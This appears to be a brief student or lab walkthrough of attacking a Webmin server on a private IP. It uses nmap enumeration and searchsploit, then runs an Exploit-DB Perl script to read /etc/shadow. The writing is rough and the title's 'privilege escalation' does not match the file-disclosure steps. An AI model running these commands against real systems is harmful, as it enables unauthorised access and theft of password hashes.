PRIVILEGE ESCALATION 

1. information Gethring with victim ip 192.168.0.21

2. Service Enumeration 

     with use nmap -sV 192.168.0.21

above we can see what ports are open

and we tried to open port 10000 in the browser by typing 192.168.0.21:10000

3. Vulnerability assesment with exploitDB

     you can see from the last scan open ports 10000, htttp service and version wbmin. 

   your open exploitDB 

   after you type ./searchsploit webmin

   and you select the one that is suitable for use

   Exmp webmin which path /multiple/remote2017.pl

   with type pearl platform/multiple/remote2017.pl

and you see command 

with command platforms/multiple/remote/2017.pl <url> <port> <filename> <target>

after you type perl platforms/multiple/remote/2017.pl 192.168.0.21 10000 /etc/shadow 0